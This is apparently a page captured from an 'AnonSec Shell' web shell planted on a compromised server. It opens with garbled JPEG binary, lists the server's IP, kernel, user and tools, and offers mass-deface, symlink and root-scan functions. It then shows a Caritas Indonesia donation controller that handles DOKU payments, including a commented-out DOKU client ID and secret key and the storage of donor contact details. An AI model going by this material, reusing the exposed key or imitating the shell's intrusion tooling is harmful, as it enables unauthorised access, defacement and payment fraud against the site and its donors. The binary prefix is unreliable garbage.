JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.197.31   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/dev/apps/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/dev/apps/controllers/Donasi.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Donasi extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');
	}
	public function index()
	{
			$page = "home";
			$nav = "grad";

			$donasi_query= $this->Modglobal->find('donasi', array('status' =>'0', 'delete' =>'0', 'tipe' => 'home'),'id desc', '3','0');
			$donasi = $donasi_query->result_array();

			$donasi_fix_query= $this->Modglobal->find('donasi', array('status' =>'0', 'delete' =>'0', 'tipe' => 'fix'),'id desc', '2','0');
			$donasi_fix = $donasi_fix_query->result_array();

			$actual_link = "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
        	$new_uri = str_replace(base_url(),'',$actual_link);

			$title_page = 'Donasi';
			$desc_page = $this->lang->line('home_desc');

			if($new_uri==""){ 
				redirect('/id','location', 200);
			}
			

			$data = array(
				'content' => 'donasi',
				'nav' => $nav,
				'donasi' => $donasi,
				'donasi_fix' => $donasi_fix,
				'title_page' => $title_page,
				'desc_page' => $desc_page,
				'page_site' => 'program'
			);
			$this->load->view('layouts/base', $data);
	} 
    public function detail()
	{
		$page = "donasi";
        $nav = "grad";
		$id = $this->uri->segment(4);
		$no_invoice = $this->uri->segment(5);

		//echo $no_invoice;

		$detail_lang_query= $this->Modglobal->find('donasi_lang', array('url_slug' => $id, 'lang' => $this->config->config['language']));
		$detail_lang = $detail_lang_query->row_array();
		$detail_num = $detail_lang_query->num_rows();

        $detail_query= $this->Modglobal->find('donasi', array('id' => $detail_lang['donasi_id']));
		$detail = $detail_query->row_array();

        $donasi_query= $this->Modglobal->find('donasi', array('tipe' => 'home', 'status' =>'0', 'delete' =>'0', 'id !=' => $detail_lang['donasi_id']),'id desc', '10','0');
		$donasi = $donasi_query->result_array();

		$detail_list_query= $this->Modglobal->find('donasi_list', array('user_id' => $this->session->userdata('id'), 'no_invoice' => $no_invoice, 'status' => '1'));
		$detail_list = $detail_list_query->row_array();
		$detail_list_num = $detail_list_query->num_rows();

		//echo $detail_list['amount'];

		$akun_query= $this->Modglobal->find('member', array('id' => $this->session->userdata('id')));
		$akun = $akun_query->row_array();

        $title_page = $detail['title'];
		$desc_page = $this->lang->line('home_desc');

        //echo $id;

        $data = array(
            'content' => 'donasi-detail',
            'nav' => $nav,
            'detail' => $detail,
			'detail_list_num' => $detail_list_num,
			'detail_list' => $detail_list,
            'detail_lang' => $detail_lang,
            'donasi' => $donasi,
			'akun' => $akun,
            'title_page' => $title_page,
            'desc_page' => $desc_page,
            'page_site' => 'program'
        );
       $this->load->view('layouts/base', $data);
    }

	public function donasi_test() {
		$data = array(
            'content' => 'doku/form',
        );
        $this->load->view('layouts/empty', $data);
	}

	public function checkout()
	{
		$input = json_decode(file_get_contents("php://input"), true);

		$alpha = substr(str_shuffle(str_repeat("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", 5)), 0, 5);
		$invoice_number = 'INV-CRTS-'.$alpha.rand(1,10000);

		$requestBody = array (
			'order' => array (
				'amount' => $input["amount"],
				'invoice_number' => $invoice_number, // Change to your business logic
		//        'invoice_number' => $invoice_number, // Change to your business logic
				'currency' => 'IDR',
				'callback_url' => base_url($this->config->config['language'].'/donasi/payment'),
				'line_items' => 
				array (
				0 => 
				array (
					'name' => 'DOKU Plate',
					'price' => $input["amount"],
					'quantity' => 1,
				),
				),
			),
			'payment' => array (
				'payment_due_date' => $input["expiredTime"],
			),
			'customer' => array (
				'id' => $invoice_number, // Change to your customer ID mapping
				'name' => $input["customerName"],
				'email' => $input["email"],
				'phone' => $input["phoneNumber"],
				'address' => $input["address"],
				'country' => $input["country"],
			),
		);

		$requestId = rand(1, 100000); // Change to UUID or anything that can generate unique value
		$dateTime = gmdate("Y-m-d H:i:s");
		$isoDateTime = date(DATE_ISO8601, strtotime($dateTime));
		$dateTimeFinal = substr($isoDateTime, 0, 19) . "Z";
		//$clientId = $input["clientId"]; // Change with your Client ID
		//$secretKey = $input["sharedKey"]; // Change with your Secret Key

		//$clientId = 'BRN-0276-1711947012408'; // Change with your Client ID
		//$secretKey = 'SK-oZPPy2fUZXIahASxAw65'; // Change with your Secret Key

		$clientId = getenv('DOKU_ID'); // Change with your Client ID
		$secretKey = getenv('DOKU_KEY'); // Change with your Secret Key

		$getUrl = getenv('DOKU_URL');
		//$getUrl = 'https://api-sandbox.doku.com';

		$targetPath = '/checkout/v1/payment';
		$url = $getUrl . $targetPath;

		// Generate digest
		$digestValue = base64_encode(hash('sha256', json_encode($requestBody), true));

		// Prepare signature component
		$componentSignature = "Client-Id:".$clientId ."\n".
							"Request-Id:".$requestId . "\n".
							"Request-Timestamp:".$dateTimeFinal ."\n".
							"Request-Target:".$targetPath ."\n".
							"Digest:".$digestValue;

		// Generate signature
		$signature = base64_encode(hash_hmac('sha256', $componentSignature, $secretKey, true));

		// Execute request
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($requestBody));
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

		curl_setopt($ch, CURLOPT_HTTPHEADER, array(
			'Content-Type: application/json',
			'Client-Id:' . $clientId,
			'Request-Id:' . $requestId,
			'Request-Timestamp:' . $dateTimeFinal,
			'Signature:' . "HMACSHA256=" . $signature,
		));

		// Set response json
		$responseJson = curl_exec($ch);
		$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		curl_close($ch);

		$nama = $input['customerName'];
		$amount = $input["amount"];
		$email = $input["email"];
		$alamat = $input["address"];
		$phone = $input["phoneNumber"];
		$invoice = $invoice_number;

		// Echo the response
		if (is_string($responseJson) && $httpCode == 200) {

			$data = array(
				'donasi_id' => $input['donasiId'],
				'name' => $input['customerName'],
				'amount' => $input['amount'],
				'email' => $input['email'],
				'alamat' => $input['address'],
				'pesan' => $input['pesanDonasi'],
				'phone' => $input['phoneNumber'],
				'no_invoice' => $invoice_number,
				'request_id' => $requestId,
				'status' => '0',
				'user_id' => $this->session->userdata('id'),
				'create_date' => date("Y/m/d - h:i:sa"),
			);
			$this->Modglobal->insert('donasi_list', $data);

			$session_data = array(
				'no_invoice' => $invoice_number,
			);
			$this->session->sess_expiration = '172800';
			$this->session->set_userdata($session_data);

			echo $responseJson;
			return json_decode($responseJson, true);

		} else {
			echo $responseJson;
			return null;
		}
		
    }

	public function payment() {
		$payment_query= $this->Modglobal->find('donasi_list', array('user_id' => $this->session->userdata('id'),'no_invoice' => $this->session->userdata('no_invoice')));
		$payment = $payment_query->row_array();

		if($payment['status'] == "1") {
			$data = array(
				'content' => 'payment-berhasil',
				'nav' => '',
			);
			$this->load->view('layouts/base', $data);
		}
		else if($payment['status'] == "0") {
			$data = array(
				'content' => 'payment-waiting',
				'nav' => '',
			);
			$this->load->view('layouts/base', $data);
		}
		else {
			redirect($this->config->config['language']);
		}

		$session_data = array(
			'no_invoice' => 'xxxx',
		);
		$this->session->sess_expiration = '172800';
		$this->session->set_userdata($session_data);
	}
	public function submit()
	{
		$alpha = substr(str_shuffle(str_repeat("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ", 5)), 0, 5);
		$invoice_number = 'INV-CRTS-'.$alpha.rand(1,10000);

		echo  $this->input->post('donasiId');
		echo  $this->input->post('customerName');
		echo  $this->input->post('amount');
		

		$data = array(
			'donasi_id' => $this->input->post('donasiId'),
			'name' => $this->input->post('customerName'),
			'amount' => $this->input->post('amount'),
			'email' => $this->input->post('email'),
			'alamat' => $this->input->post('address'),
			'pesan' => $this->input->post('pesanDonasi'),
			'phone' => $this->input->post('phoneNumber'),
			'no_invoice' => $invoice_number,
			'payment_type' => 'Transfer Mandiri',
			//'request_id' => $this->input->post('donasiId'),
			'status' => '0',
			'user_id' => $this->session->userdata('id'),
			'create_date' => date("Y/m/d - h:i:sa"),
		);
		$this->Modglobal->insert('donasi_list', $data);

		redirect($this->config->config['language'].'/donasi/account');
	}
	public function account() {
		$data = array(
			'content' => 'donasi-account',
			'nav' => '',
			'title_page' => 'Donasi',
			'desc_page' => 'Caritas Indonesia',
			'page_site' => 'program'
		);
		$this->load->view('layouts/base', $data);
	}
	public function thankyou() {
		$data = array(
			'content' => 'donasi-thankyou',
			'nav' => '',
			'title_page' => 'Donasi',
			'desc_page' => 'Caritas Indonesia',
			'page_site' => 'program'
		);
		$this->load->view('layouts/base', $data);
	}

}



Anon7 - 2022
AnonSec Team